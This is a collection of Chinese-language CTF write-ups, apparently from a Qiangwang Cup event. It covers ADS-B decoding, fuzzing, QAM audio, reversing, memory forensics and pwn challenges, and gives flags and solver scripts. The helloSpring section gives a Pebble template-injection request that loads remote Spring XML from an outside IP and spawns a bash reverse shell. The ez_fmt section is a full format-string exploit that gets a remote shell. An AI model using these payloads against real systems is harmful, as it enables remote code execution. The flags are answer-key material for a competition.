if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
velocity_info = pms.adsb.velocity(msg)
pms.tell(msg)
print(f"{velocity_info}")
print(" ")
ICAO Address 查询:https://www.planespotters.net/search?q=79a05e
ICAO需要大写,最后是79A05E
easyfuzz
首先确定长度是9,然后按字节fuzz就行了
9位任意字符 除了\x00字符->110000000
xxxxxxxxd -> 110000001
xxxxxxxod -> 110000011
xxxxxxood -> 110000111
xxxxxGood -> 110001111
xxxxbGood -> 110011111
xxxwbGood -> 110111111
xxqwbGood
Wabby Wabbo Radio
首先是一个网页,上面可以看见一个音频播放,资源是/static/audios/xh3.wav
然后还有一个play接口,访问/play会返回资源
一直跑这个play的接口,就会得到以下资源
/static/audios/xh1.wav
/static/audios/xh2.wav
/static/audios/xh3.wav
/static/audios/xh4.wav
/static/audios/xh5.wav
/static/audios/hint1.wav
/static/audios/hint2.wav
/static/audios/flag.wav
xh1~5和 hint1 ~2的L声道是 morse电码,解密后为:
hint1:
DO YOU KNOW QAM?
xh1:
THE WEATHER IS REALLY NICE TODAY. IT'S A GREAT DAY TO LISTEN TO THE WABBYWABBO RADIO
hint2:
MAYBE FLAG IS PNG PICTURE
xh2:
GENSHIN IMPACT STARTS
xh3:
DO YOU WANT A FLAG? LET'S LISTEN A LITTLE LONGER
xh4:
DO YOU WANT A HINT? LET'S LISTEN A LITTLE LONGER
xh5:
IF YOU DON'T KNOW HOW TO DO IT, YOU CAN GO AHEAD AND DO SOMETHING ELSE FIRST
flag.wav的data两个频道使用qam调制
初始结果不对,再和hint中FLAG IS PNG PICTURE,拿头文件和结果对比,发现存在映射关系,得到最后的表应该是这样
再写脚本即可得到flag:
from scipy.io import wavfile
from Crypto.Util.number import *
def read_wav_channels(filename):
sample_rate, data = wavfile.read(filename)
if data.shape[1] != 2:
raise ValueError("WAV file is not a stereo file.")
channel1 = data[:, 0].tolist()
channel2 = data[:, 1].tolist()
return channel1, channel2
filename = 'flag.wav'
channel1_data, channel2_data = read_wav_channels(filename)
res = ''
for i in range(len(channel1_data)):
x = round(channel1_data[i])
y = round(channel2_data[i])
if x == 1 and y == 1:
res += '1010'
elif x == 3 and y == 1:
res += '1110'
elif x == 1 and y == 3:
res += '1011'
elif x == 3 and y == 3:
res += '1111'
elif x == -1 and y == 1:
res += '0110'
elif x == -3 and y == 1:
res += '0010'
elif x == -1 and y == 3:
res += '0111'
elif x == -3 and y == 3:
res += '0011'
elif x == 1 and y == -1:
res += '1001'
elif x == 3 and y == -1:
res += '1101'
elif x == 1 and y == -3:
res += '1000'
elif x == 3 and y == -3:
res += '1100'
elif x == -1 and y == -1:
res += '0101'
elif x == -3 and y == -1:
res += '0001'
elif x == -1 and y == -3:
res += '0100'
elif x == -3 and y == -3:
res += '0000'
rr = long_to_bytes(int(res,2))
flag = open('f.png','wb')
flag.write(rr)
flag.close()
强网先锋
helloSpring
POST /uploadFile HTTP/1.1
User-Agent: PostmanRuntime/7.36.0
Accept: */*
Postman-Token: a8c4d77b-34bb-43f0-b608-2ea394a4ab2d
Host: eci-2zeiuc2hk7njk3porwpc.cloudeci1.ichunqiu.com:8088
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------863943204749606110104151
Content-Length: 784
----------------------------863943204749606110104151
Content-Disposition: form-data; name="content"
aaaaaa
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlAppli"+"cationC"+"ontext") %}
{{ yyy.setConfigLocation("http://132.232.82.54:8889/1.xml") }}
{{ yyy.refresh() }}
----------------------------863943204749606110104151
Content-Disposition: form-data; name="file"; filename="file_20231217_115016.pebble"
Content-Type: application/octet-stream
aa
----------------------------863943204749606110104151--
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>echo YmFzaCAtaSA+|base64 -d|bash -i</value>
</list>
</constructor-arg>
</bean>
</beans>
ezre
很无聊hh,换码表然后不断编码解码
l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr 编码
FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8 解码
Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA 编码
pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a 解码
plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6 编码
逆一下最后一个解密即可
res = [0x0E, 0x18, 0x7F, 0x65, 0x5C, 0x72, 0x6D, 0x57, 0x10, 0x30, 0x6A, 0x6B, 0x34, 0x38, 0x1F, 0x37, 0x1D, 0x68, 0x40, 0x44, 0x5E, 0x56, 0x4B, 0x09, 0x18, 0x7A, 0x5B, 0x27, 0x32, 0x39, 0x32, 0x38, 0x79, 0x62, 0x3B, 0x1C, 0x79, 0x65, 0x42, 0x44, 0x1F, 0x31, 0x65, 0x5C, 0x7C, 0x61, 0x10, 0x2D]
table = [0x53, 0x46, 0x4E, 0x72, 0x49, 0x42, 0x6D, 0x6E, 0x4F, 0x4C, 0x10, 0x56, 0x74, 0x7E, 0x62, 0x4D, 0x63, 0x16, 0x6C, 0x4A, 0x1E]
index = 2023
tmp_list = []
for i in range(47):
if i % 3 == 1:
index = (index + 5) % 20
tmp = table[index + 1]
elif i % 3 == 2:
index = (index + 7) % 19
tmp = table[index + 2]
else:
index = (index + 3) % 17
tmp = table[index + 3]
tmp_list.append(tmp)
for i in range(46, -1, -1):
res[i + 1] ^= res[i]
res[i] ^= tmp_list[i]
for i in res:
print(chr(i), end='')
# cZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==
flag{3ea590ccwxehg715264fzxnzepqz}
找到PNG了吗
banner:
Linux version 5.4.0-100-generic (buildd@lcy02-amd64-002) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #113-Ubuntu SMP Thu Feb 3 18:43:29 UTC 2022 (Ubuntu 5.4.0-100.113-generic 5.4.166)
直接工具https://github.com/Randark-JMT/profile-builder编译profile之后
然后根据这篇文章:https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test,对volatility2源码进行一定的patch,增加对新版dwarfdump 制作的符号表文件的格式支持,并patch Volatility2 Linux DTB Scanner的相关源码,以便于对较新的Linux Kernel内存数据进行分析
使用volatility2进行分析,在linux_find_file输出中发现可疑文件
1058449 0xffff9ce28fe300e8 /home/yuren/Desktop/have_your_fun.jocker
并在内存中发现以下明文数代码
int main()
{
int clientSocket = socket(AF_INET, SOCK_STREAM, 0);
if (clientSocket == -1) {
printf("socket failed!\n");
return 1;
}
struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(SERVER_PORT);
serverAddr.sin_addr.s_addr = inet_addr(SERVER_IP);
connect(clientSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
int result = recv(clientSocket, buff, sizeof(buff), 0);
int a=0;
char q[10];
unsigned char key[]="do_not_care";
unsigned char key2[] = "where_is_the_key";
FILE* file = fopen("have_your_fun.jocker", "wb");
if (file == NULL) {
printf("open file failed!\n");
return 1;
}
unsigned char *str;
str = (char *) malloc(20000);
memcpy(str, buff, 20000);
rc4_encrypt_decrypt(key2, str, 20000);
printf("please give me the key of fun:");
scanf("%s",q);
rc4_encrypt_decrypt(key, str, 20000);
fwrite(buff, 1, 20000, file);
printf("maybe you go wrong");
fclose(file);
close(clientSocket);
return 0;
}
rc4就是xor,xor两次,将png的文件头xor两次然后010找
一整块复制然后丢入cyberchef就解开了
石头剪刀布
他是贝叶斯预测,然后手搓序列,每次贝叶斯的预测的应该差不多,可以看最后一次结果,然后序列中改成赢过AI的出法加入序列,按照这个规律改就可以把分数逐步上升,最后达到260分拿到flag
from pwn import *
import re
import time
# 0 - 石头,1 - 剪刀,2 - 布
p = remote('8.147.133.72',25458)
opponent_choice = [1,1,1,1,1,2,2,0,0,1,2,0,1,2,0,2,0,0,0,1,1,1,1,1,2,1,2,2,2,0,2,0,0,0,1,1,1,1,2,2,2,0,0,1,2,0,1,2,0,2,0,2,1,0,2,1,0,0,0,1,1,1,2,2,0,0,1,2,1,1,2,2,2,0,1,2,0,1,2,0,2,0,1,0,2,1,0,0]
p.recv()
for i in range(len(opponent_choice)):
d = p.recv()
p.sendline(str(opponent_choice[i]).encode())
r = p.recv()
score = re.findall(r'你的分数: (.*?)\n',d.decode())
if score != []:
print(score[0]+'/260')
time.sleep(0.05)
d = p.recv()
print(d.decode())
p.sendline(b'2')
r = p.recv()
print(r.decode())
score = re.findall(r'你的分数: (.*?)\n',d.decode())
if score != []:
print(score[0]+'/260')
print(str(len(opponent_choice))+'/100')
p.interactive()
SpeedUp
求指数的阶乘
根据题目,直接定位到A072345这个数学问题
数据库:https://sequencedb.net/index.html?s=A072345
sha256(4495662081)=bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797
ez_fmt
from pwn import*
# context.log_level = "debug"
elf = ELF("./ez_fmt")
libc = elf.libc
# p = process("./ez_fmt")
p = remote("47.104.24.40",1337)
p.recvuntil("0x")
stack_addr = int(p.recv(12),16)
print(hex(stack_addr))
payload = "%{}c%10$hn".format(0x10b0)
payload += "%{}c%11$hn".format(0xffff-0x10b0)
payload += "%19$p"
payload = payload.ljust(0x20,"a")
payload += p64(stack_addr-0x8)
payload += p64(0x404010)
p.recv()
p.send(payload)
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - libc.sym["__libc_start_main"] - 243
print(hex(libc_base))
"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
"""
one_gadget = libc_base + 0xe3afe
payload = "%{}c%8$hn".format(0x12ce)
payload = payload.ljust(0x10,"a")
payload += p64(stack_addr-0x8 - 0x150)
payload += p64(0x00000000004012d3)
payload += p64(libc_base + libc.search("/bin/sh").next())
payload += p64(libc_base + 0x51cd0 + 0x2)
p.recv()
# attach(p)
p.send(payload)
p.interactive()
Babyre
魔改tea+反调试
#include<stdio.h>
#include <windows.h>
char result[] = { 0xE0,0xF2,0x23,0x95,0x93,0xC2,0xD8,0x8E,0x93,0xC3,0x68,0x86,0xBC,0x50,0xF2,0xDD,0x99,0x44,0x0E,0x51,0x44,0xBD,0x60,0x8C,0xF2,0xAB,0xDC,0x34,0x60,0xD2,0x0F,0xC1 };
int tea_key[] = { 0x62,0x6F,0x6D,0x62 };
void tea(unsigned int l, unsigned int r)
{
unsigned int delata;
int i;
int j;
delata = 0x90508D47;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 33; ++j)
{
l += (((32 * r) ^ (r >> 4)) + r) ^ (delata + tea_key[delata & 3]) ^ delata;
r += (((32 * l) ^ (l >> 4)) + l) ^ (delata + tea_key[(delata >> 11) & 3]);
delata -= 0x77BF7F99;
}
}
}
void dacode_tea(unsigned int l, unsigned int r)
{
unsigned int delata;
int i;
int j;
delata = (-0x77BF7F99) * 4 * 33 + 0x90508D47;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 33; ++j)
{
delata += 0x77BF7F99;
r -= (((32 * l) ^ (l >> 4)) + l) ^ (delata + tea_key[(delata >> 11) & 3]);
l -= (((32 * r) ^ (r >> 4)) + r) ^ (delata + tea_key[delata & 3]) ^ delata;
}
}
// printf("%x\n", delata);
//printf("0x%x,0x%x\n", l, r);
for (int i = 0; i < 4; i++) {
printf("%c", (*(((char*)(&l)) + i)));
}
for (int i = 0; i < 4; i++) {
printf("%c", (*(((char*)(&r)) + i)));
}
// W31com3_2_Th3_QwbS7_4nd_H4v3_Fun
}
int main()
{
unsigned int* res = (unsigned int*)result;
for (int i = 0; i < 4; i++) {
dacode_tea(res[2*i], res[2*i+1]);
}
}
flag{W31com3_2_Th3_QwbS7_4nd_H4v3_Fun}